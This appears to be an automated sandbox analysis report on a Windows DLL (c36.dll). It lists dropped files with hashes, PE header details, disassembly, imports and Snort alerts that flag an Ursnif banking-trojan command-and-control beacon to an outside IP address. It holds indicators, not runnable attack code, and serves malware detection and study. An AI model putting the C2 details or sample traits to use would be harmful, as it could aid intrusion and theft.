Preview:	html, body {. width: 100%;. height: 100%;. background-color: white;. margin: 0;. padding: 0;.}.html {. overflow: hidden;.}..header {. width: 100%;. height: 44px;. background-color: #004788;.}..logo {. height: 44px;. width: 50px;. display: block;. background: url('/mailint/1/assets/header/logo_mobile.png') no-repeat;. background-size: 50%;. background-position: center;.}..content {. text-align: center;. width: 100%;. height: 100%;.}..blurredbg {. background-image: url('MAILCOM_content_smartphone.jpg');. background-repeat: no-repeat;. background-size: cover;. background-position: center top;. max-width: 48rem;. height: 100%;. margin-right: auto;. margin-left: auto;.}...fade-in {. animation: fadeIn ease 2s;. -webkit-animation: fadeIn ease 2s;. -moz-animation: fadeIn ease 2s;. -o-animation: fadeIn ease 2s;. -ms-animation: fadeIn ease 2s;.}.@keyframes fadeIn {. 0% {opacity:0;}. 100% {opacity:1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\tcf-api[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	128314
Entropy (8bit):	5.420028842667526
Encrypted:	false
SSDEEP:	1536:X7ksrP0OQrmfB/JbkcORkJQbtirmDcPnj5tCOw/:X7vr0YfzIcOROQbt2uP
MD5:	351509155B57D12F6E63A0639E414F6B
SHA1:	23B00CFF48F01F215C883206B887C47DCB82C832
SHA-256:	2F930C675986DD3A373E3F76ADF2464CE9A1274B0B82B6FC85622F5801171C42
SHA-512:	7EE5B752428863943D500DC5428C33223AE0DD80EB985E8379F95E53176503F06A7C126819BFF0592FE16674ED22187823ECE54B6E173D844DD8A9AA58F942E2
Malicious:	false
Preview:	var TcfApi=function(e){"use strict";var t,n;(t=e.TcfApiCommands\|\|(e.TcfApiCommands={}))[t.getTCData=0]="getTCData",t[t.ping=1]="ping",t[t.addEventListener=2]="addEventListener",t[t.removeEventListener=3]="removeEventListener",t[t.updateTCString=4]="updateTCString",t[t.getTCString=5]="getTCString",t[t.getACString=6]="getACString",t[t.getPermission=7]="getPermission",t[t.getTCFVersion=8]="getTCFVersion",t[t.getTCLastUpdated=9]="getTCLastUpdated",t[t.getTCStringUtil=10]="getTCStringUtil",t[t.getAppInfo=11]="getAppInfo",(n=e.PermissionFeatures\|\|(e.PermissionFeatures={}))[n.publisher=0]="publisher",n[n.purpose=1]="purpose",n[n.vendor=2]="vendor",n[n.special=3]="special",n[n.brainTracking=4]="brainTracking",n[n.uimservTracking=5]="uimservTracking",n[n.agofTracking=6]="agofTracking",n[n.tgp=7]="tgp",n[n.oewaTracking=8]="oewaTracking",n[n.googleAnalyticsTracking=9]="googleAnalyticsTracking",n[n.editorialPersonalization=10]="editorialPersonalization",n[n.aditionAds=11]="aditionAds",n[n.siteSpec

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\tracklib.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	35191
Entropy (8bit):	5.160250416588836
Encrypted:	false
SSDEEP:	768:KnmWxY3gQGZz9o6AR+sQetqvf1KOEsQMFL4m+Zpt:UC3gZz9peUneD3
MD5:	467D64D03CFC78E8871157E56581E037
SHA1:	BE8C7EB037128204999FF8D42477E27F7A23E598
SHA-256:	40A6F6526AFEA19DB42DCF345249915CCACC710EE6C97091D5D6285B5F90EAD3
SHA-512:	84CF52E66423CA0EBC353527F67DC023C947E48745CBA46E71BC8282B1CDA97BA4B573D064918C3A9C4C665EFE347CE3B510A47659AAEC99BEA17F64F01B6C74
Malicious:	false
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.TrackLib=t():e.TrackLib=t()}(this,function(){return function(e){function __webpack_require__(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};return e[r].call(a.exports,a,a.exports,__webpack_require__),a.l=!0,a.exports}var t={};return __webpack_require__.m=e,__webpack_require__.c=t,__webpack_require__.d=function(e,t,r){__webpack_require__.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},__webpack_require__.n=function(e){var t=e&&e.__esModule?function(){return e["default"]}:function(){return e};return __webpack_require__.d(t,"a",t),t},__webpack_require__.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},__webpack_require__.p="",__webpack_require__(__webpack_require__.s=109)}([,function(e,t,r){"use strict";t.__esModule=!0;var a=function(e,t){var r;if(s.isObject(e)&&s.

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	89
Entropy (8bit):	4.547386139474471
Encrypted:	false
SSDEEP:	3:oVXUTMhO08JOGXnETMhOvX+n:o9UG3qEGD
MD5:	F1FAAB89BEE11F028E3C2CDDD9791494
SHA1:	605B22B9D51C844BD95F98B1F65821F72DB54CE8
SHA-256:	97A03499C1CEF5F894CAEDAFDA8F75AB6048911CBC8216DC59861123170F7B5B
SHA-512:	16B68D6A5A4624131A528C2FBD5B5F36EFB724F7358AA5FF1FC46C069D665E86865077A63217521A86F64296674E1C7B35531722F978CF4B5DD9F7703E146721
Malicious:	false
Preview:	[2021/07/09 15:36:40.691] Latest deploy version: ..[2021/07/09 15:36:40.691] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\~DF0F318B5CCE001BBF.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.4080339306625085
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loQ9log9lWmpjumi:kBqoIrNM1i
MD5:	F416EFB72560AB9D047BE05E03F03BAE
SHA1:	66388F880E98045A48808ED08EA4E52D547B6A3C
SHA-256:	3E53598E4A20ECEBDF61FD1FFEB5D7241C44124F2DA2AAB733FFF332B333F253
SHA-512:	C95E5A330DAD9DA8C7CBF1FA2C6579850991F2D5B7C9C8AC44EDC203A31CC908A3CA82630965E9D9D995E67C18FC40010B8D8B6A95E59AC34E9376853802066B
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF134D6241D89374BD.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.406177855533185
Encrypted:	false
SSDEEP:	12:c9lCg5/9lCgeK9l26an9l26an9l8fRQF9l8fRY9lTqwK8g1:c9lLh9lLh9lIn9lIn9loI9loY9lWx8g1
MD5:	724FC954D7C9FA24B9C466CBC7555A96
SHA1:	1DF093F1D1CD727C7ADDC3F885065B7975EDCC4F
SHA-256:	B18804D37BE4E8A534809A4AC9E99C5E0BCA82613E3F4130BDE114DBD9C08A9C
SHA-512:	8967A7100CCE14077D3C1C9720E5E9DDBA1438E9AB6FEF4FA96D76A53BE54EB2352444408ED016461ED829072F8AD73B1B7717DD233A9369319EDA492929E890
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF2278B18D6A6BD7ED.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.4064702258985505
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lorN39lorN39lWrNag6vgFNmw:kBqoIp4pmpag6vgFNmw
MD5:	865E3ABF0C4795EED256158D5DCFADE6
SHA1:	6A6478B3583DF7C7D35765EFAF7E2FD944560F0C
SHA-256:	E360B61E3C1C9D6D7CD3E974D4A8A1C15B7BF368AE1B0F578659BCCD409C0340
SHA-512:	575D3C124EBD79DB378077A47562FD619DDBB6C53903A50F762C585DD3DFC402B04EE9DE1920BF95AE58A270ADE3D608DDBB45F483024A0459FE2B290A3DDA4E
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF3B2B4B210D4677DA.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	43001
Entropy (8bit):	0.5730297722825317
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+uoCLYuF9Sgpz9Sgj59Sgb0:kBqoxKAuqR+uoCLYuigpUgjGgI
MD5:	7D8941F324524E3ED0280EBE948F9527
SHA1:	3534EACB8869C163F782BEC73E93C84770F59E9F
SHA-256:	C58CB60F947CBAF53956B04B6DBB7027A9EAF21D08517EC852D213FDBF9088C9
SHA-512:	8BA846E9065B6F7E3EAC07F01112797DD20DBFFFFF32C6B1309BFFA0638FC6B14EF8DB4B30CD3C1A4CE1B74F604E1767C80AB2EA2A377375FC8A835CD80E1264
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF3F423AA33482C50B.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	25657
Entropy (8bit):	0.31363565093954665
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lRg9lRA9lTS9lTy9lSSd9lSSd9lwls9lwlPk9l2l/:kBqoxKAuvScS+lvlRl/
MD5:	74BDB3B70074BAEE0D1FCAF428E666BF
SHA1:	2E283FC470414F9DAEE1C826E352361AE2902CC4
SHA-256:	EEF74864603416521EF79A0E75696353CDA6968A966872F789309968A9D2571D
SHA-512:	BF96DD48DD01635B24DD5F8E116AAF8F862589A4A4851CBB7E923ED7354E92EFD51B86CEC3727A315A77256702C5DC7E0F4A78EAB67567F29A37B69E4385ECCF
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF5F3CA953B42C7490.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39665
Entropy (8bit):	0.5754331040001995
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+eYSbIOv3k9SB0hv3k9SB0dv3k9SB0C:kBqoxKAuqR+eYSbIOv3kDhv3kDdv3kDC
MD5:	74E0F6665FF2BDD7D1F6615553722ACF
SHA1:	E407C6F6E75C03E0D87C2E32765590E6C31AB148
SHA-256:	07B4D4B3D0C1F507ADDFF792E29F206B8E490C149772F635EDC576DD1F48EC5A
SHA-512:	02720F313220F438D7F363055EC725EA7075E0793D8D7A4C86F50C79F48C515856F1622C0491B20F82F7C70A83E535718857BD29010BA955FF828CF0969C2825
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF60A783B178E5E3D4.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.40680259414241327
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loEz9loEz9lWEpiP8g:kBqoInB/PH
MD5:	5D3DABDE1090809B920A4DA0A7104FE8
SHA1:	DE53767C9822A980311170A908F48BA48DC71DF8
SHA-256:	1B8F751DB72BE7EFAA37BBFAEC4624A9D1528AEFBF1D1F24019B4928A84D7D1C
SHA-512:	50E2D45A57A202E7D4F6688F6D9D9D9FD1B57DD4D9B7E81168A10EDD011C50FEAF410AF75CA3B3063A69DE5E91ABA6636AE0103713439FB2BDBEA5E7AE64A0BD
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF8670946C9A228354.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39649
Entropy (8bit):	0.5751636937946262
Encrypted:	false
SSDEEP:	48:kBqoxKAuvScS+xvdcgIgWOQKMcUqz6VQOQKMcUqz6VoOQKMcUqz6VZ:kBqoxKAuvScS+xvdc/t0/cQ0/co0/cZ
MD5:	B20E16767C73AF3D4D8A4526F17FD6E4
SHA1:	B58EC16C14DC0B14DC327E8EE39F501A82B94826
SHA-256:	A66B671C782FA8207ABFE7A31BB88E6662BFFD784BEC4E0B9544E3848D743D23
SHA-512:	9BCDA2FDEB325DFD0E4AEC9A7BB32BB2DA3DEB9395CA06C1DC1A4BAF3FDDD73B89FF38D975FA33753F04D7B0392D47C09964AB747E1C3C3939786F3631F511AA
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF867A60F063A0CB97.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39641
Entropy (8bit):	0.5714405183891025
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+EiIZCA0IuA00IuAA0IuA5:kBqoxKAuqR+EiIZCA0bA00bAA0bA5
MD5:	3865D8F07D6845599BD57937B3360E9B
SHA1:	8FDB6908ED1E1A10753452AECD229EB64B2FEF3D
SHA-256:	59A64B3CF761F2F4B73B6000F85B1FD3EB230FE647740B59A808B9A8483575B7
SHA-512:	E3EB5603C4665BA16758C61575BF0A8D1DAE1540B33F6B215EC40D8B28284B7DFF448EB21570B21C5A5BB46FC1EBC5A5BF52515C2803AC10DFD8056D08916904
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF9CCB71D7125A321B.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.40462310383455763
Encrypted:	false
SSDEEP:	12:c9lCg5/9lCgeK9l26an9l26an9l8fR5PF9l8fR5N9lTq5tQmmQKXd:c9lLh9lLh9lIn9lIn9loH9loH9lWriL
MD5:	D78FF6AF458AC6799C0EBCA3E9E2DE16
SHA1:	97B6EF5895242B0CEEC77AD4262464B2A72105AE
SHA-256:	E71C50FB397AA7416518CF797DD374FD525439B9CA35EA659758C84659450A8F
SHA-512:	34BA9826C7A7D0125090F2BB0C4198635084EC6BCED249A31C1D92CB0FC52CB8D3ED0685CE66372B13B477E97C63064CDA4E70B66B4B352FE7B70AE094008566
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFA4B211933831C46D.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	0.40717374085847213
Encrypted:	false
SSDEEP:	12:c9lCg5/9lCgeK9l26an9l26an9l8fRWPF9l8fRWN9lTqWgca:c9lLh9lLh9lIn9lIn9loG9lo29lWv
MD5:	A0663E5B8C92A11F974BC493D83F6219
SHA1:	063C97ADD72A96CAD1C83CD86583297CF0E99648
SHA-256:	1DE96A153C93FEEF92328A549A0B777F25E5C2C48A642DFAFF4D96D4758A3040
SHA-512:	47A7E8B7BCF6A181E5F238DED562B9537A231A96C869ACDABF97EB8ACA7A6B3ADD8694B561C818A0F3BDC4C7D67419C12C71D34C8F0258FFA9E8BE832B88D885
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFADD0A24F1B043A66.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39625
Entropy (8bit):	0.5707071089159305
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+sKQx6wl00N8IDl00N8Ijl00N8II:kBqoxKAuqR+sKQx6wl0al0ml0H
MD5:	E0449F13C6EC8E7B66AFF2F1C91E89E4
SHA1:	F3DA4AFD47BB6E7275B3B4D0AC8244AC8D4BE0DD
SHA-256:	22B9F094CAD87561954F7DDCB39B8AA28ED999B1437AD1290FE74334F6EB4DF4
SHA-512:	5D3365BB159302F463FCCD0AA6144A618258943C9A8E29DF5A903C8EFE29F763C4767D23B0BF3DECAD569650816BFCBFE1A16918A66EF600B536EADB092FDBA3
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFDC723F1443C4BAD9.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12917
Entropy (8bit):	0.39575564751580133
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9loQF9loQl9lWQqsFJ:kBqoIQuQQQD
MD5:	D7C0079DE78E9A32C0F4D680702EFAD6
SHA1:	C580DDD7EAA24EDA20637DD08E9325FBD184B9D5
SHA-256:	DFDB8E4F0A8DCA928BEE23FF553F1ADEF64A137AD7CECA0D504D8658F86C245E
SHA-512:	23597B97E1E22CA79A334199751E2A44C75E6929EA1664B90100C95099EC6FF3A6367C50D03B57BCB3B4694845E3C5E3F760428D3D9397A5376EC4631D37F417
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFE16BBD1A669E84C.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39649
Entropy (8bit):	0.5732154542651167
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+1bZILJSztdFSkSztdFSsSztdFSd:kBqoxKAuqR+1bZILJY5YNYy
MD5:	4DD17EF9523A813C195CF1516C7AD6B1
SHA1:	B86271361A7CE3EC6E2C13AFC08B8983C0EBD7B0
SHA-256:	C797E9B9B10541768DAC05778C1159073D866B2C69D3E2562800936914742F21
SHA-512:	326A02DD03EDFA055B7DBECE5D34FF37629FED9FEFBEC7AE315EBE2B86506AF9314A68780E276BC67DC620B5AE5B35E7C260E199DAD81ECDE732A55CBBE14F26
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.699066149824432
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	c36.dll
File size:	421376
MD5:	c36ab737db2b6d11fb1f443f8117a7fa
SHA1:	e6fab2798dd6088aa3527a01ae1b3f2415cf40cf
SHA256:	181fe6714ebaff8c1855e8e1dbac545ffd160df0ec96ddf920c5155916b7111b
SHA512:	04884ebda245977509b16eddc89a057582f47cc315610ba040750313bdb668d5377fec118f9c6d7934c7369c3b40d09cb084ec22c71979316ed32860538b0fa9
SSDEEP:	6144:XoiHyepaXa+Cv3FyUtySzhyq++rWM+AVF7tct2PytUDlrfu+U39O:YfGFvFu8hPwM+AVLcMKtKtK
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./"j.kC..kC..kC..u...sC..u....C..b;..lC..kC...C..u...RC..u...jC..u...jC..u...jC..RichkC..................PE..L.....+L...........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1036ead
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x1000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x4C2B8293 [Wed Jun 30 17:44:51 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	9ac2df5a14a0377b217ae274fd22ed43

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FCB847C4697h
call 00007FCB847CFCB2h
push dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+10h]
mov edx, dword ptr [ebp+0Ch]
call 00007FCB847C4581h
pop ecx
pop ebp
retn 000Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov eax, dword ptr [01062480h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
test byte ptr [01062500h], 00000001h
push esi
je 00007FCB847C469Ah
push 0000000Ah
call 00007FCB847CA70Ah
pop ecx
call 00007FCB847CFD5Eh
test eax, eax
je 00007FCB847C469Ah
push 00000016h
call 00007FCB847CFD60h
pop ecx
test byte ptr [01062500h], 00000002h
je 00007FCB847C4760h
mov dword ptr [ebp-00000220h], eax
mov dword ptr [ebp-00000224h], ecx
mov dword ptr [ebp-00000228h], edx
mov dword ptr [ebp-0000022Ch], ebx
mov dword ptr [ebp-00000230h], esi
mov dword ptr [ebp-00000234h], edi
mov word ptr [ebp-00000208h], ss
mov word ptr [ebp-00000214h], cs
mov word ptr [ebp-00000238h], ds
mov word ptr [ebp-0000023Ch], es
mov word ptr [ebp-00000240h], fs
mov word ptr [ebp-00000244h], gs
pushfd
pop dword ptr [ebp-00000210h]
mov esi, dword ptr [ebp+04h]
lea eax, dword ptr [ebp+04h]
mov dword ptr [ebp+00FFFDF4h], eax

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[EXP] VS2008 build 21022
[IMP] VS2008 SP1 build 30729
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x619e0	0x85	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x61014	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfc000	0xd80	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xfd000	0x2768	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4b220	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5f700	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4b000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x49dbd	0x49e00	False	0.661458333333	data	6.64292711487	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x4b000	0x16a65	0x16c00	False	0.650519402473	data	6.09504929451	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x62000	0x998c8	0x1800	False	0.343587239583	data	3.99466653624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xfc000	0xd80	0xe00	False	0.364397321429	data	3.40694082872	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfd000	0x3928	0x3a00	False	0.554485452586	data	5.40101717847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_DIALOG	0xfc250	0xce	data	English	United States
RT_DIALOG	0xfc320	0x112	data	English	United States
RT_DIALOG	0xfc438	0x13a	data	English	United States
RT_DIALOG	0xfc578	0xf2	data	English	United States
RT_DIALOG	0xfc670	0x11a	data	English	United States
RT_DIALOG	0xfc790	0xf0	data	English	United States
RT_DIALOG	0xfc880	0xf8	data	English	United States
RT_DIALOG	0xfc978	0xca	data	English	United States
RT_DIALOG	0xfca48	0xea	data	English	United States
RT_DIALOG	0xfcb38	0xc8	data	English	United States
RT_MANIFEST	0xfcc00	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	CreateProcessA, GetStartupInfoA, CopyFileA, DeleteFileA, CloseHandle, GetTickCount, Sleep, GetCurrentThreadId, GetProcAddress, LoadLibraryA, VirtualProtectEx, GetEnvironmentVariableA, GetTempPathA, GetWindowsDirectoryA, SetConsoleCP, SetConsoleOutputCP, GetCurrentDirectoryA, CompareStringW, CompareStringA, CreateFileA, GetLocaleInfoW, SetStdHandle, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, InitializeCriticalSectionAndSpinCount, SetFilePointer, ReadFile, FlushFileBuffers, GetConsoleMode, GetConsoleCP, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, InterlockedExchange, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, MultiByteToWideChar, GetSystemTimeAsFileTime, HeapAlloc, RtlUnwind, RaiseException, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCommandLineA, GetLastError, HeapFree, GetCPInfo, LCMapStringA, LCMapStringW, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetTimeZoneInformation, VirtualFree, VirtualAlloc, HeapReAlloc, HeapCreate, HeapDestroy, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetACP, GetOEMCP, IsValidCodePage, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, GetStringTypeA, GetStringTypeW, GetModuleHandleA, SetHandleCount, GetFileType, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetCurrentProcessId, HeapSize, SetEnvironmentVariableA
USER32.dll	GetClientRect, GetDesktopWindow, CreateDialogIndirectParamA, GetForegroundWindow, GetWindowRect, DialogBoxIndirectParamA, CreatePopupMenu, GetSysColorBrush, DispatchMessageA
ole32.dll	CoTaskMemFree, CoTaskMemAlloc, CoInitialize, CoUninitialize

Exports

Name	Ordinal	Address
Beautyresult	1	0x102c990
Division	2	0x102da30
Fastcolor	3	0x102d940
Yetclose	4	0x102dcb0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/09/21-15:24:33.634449	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49729	80	192.168.2.3	40.97.128.194
07/09/21-15:24:33.634449	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49729	80	192.168.2.3	40.97.128.194

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 9, 2021 15:35:10.048502922 CEST	49755	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.048619032 CEST	49756	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.174462080 CEST	80	49755	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.174570084 CEST	49755	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.174988985 CEST	49755	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.183228970 CEST	80	49756	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.183340073 CEST	49756	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.304406881 CEST	80	49755	40.97.128.194	192.168.2.4
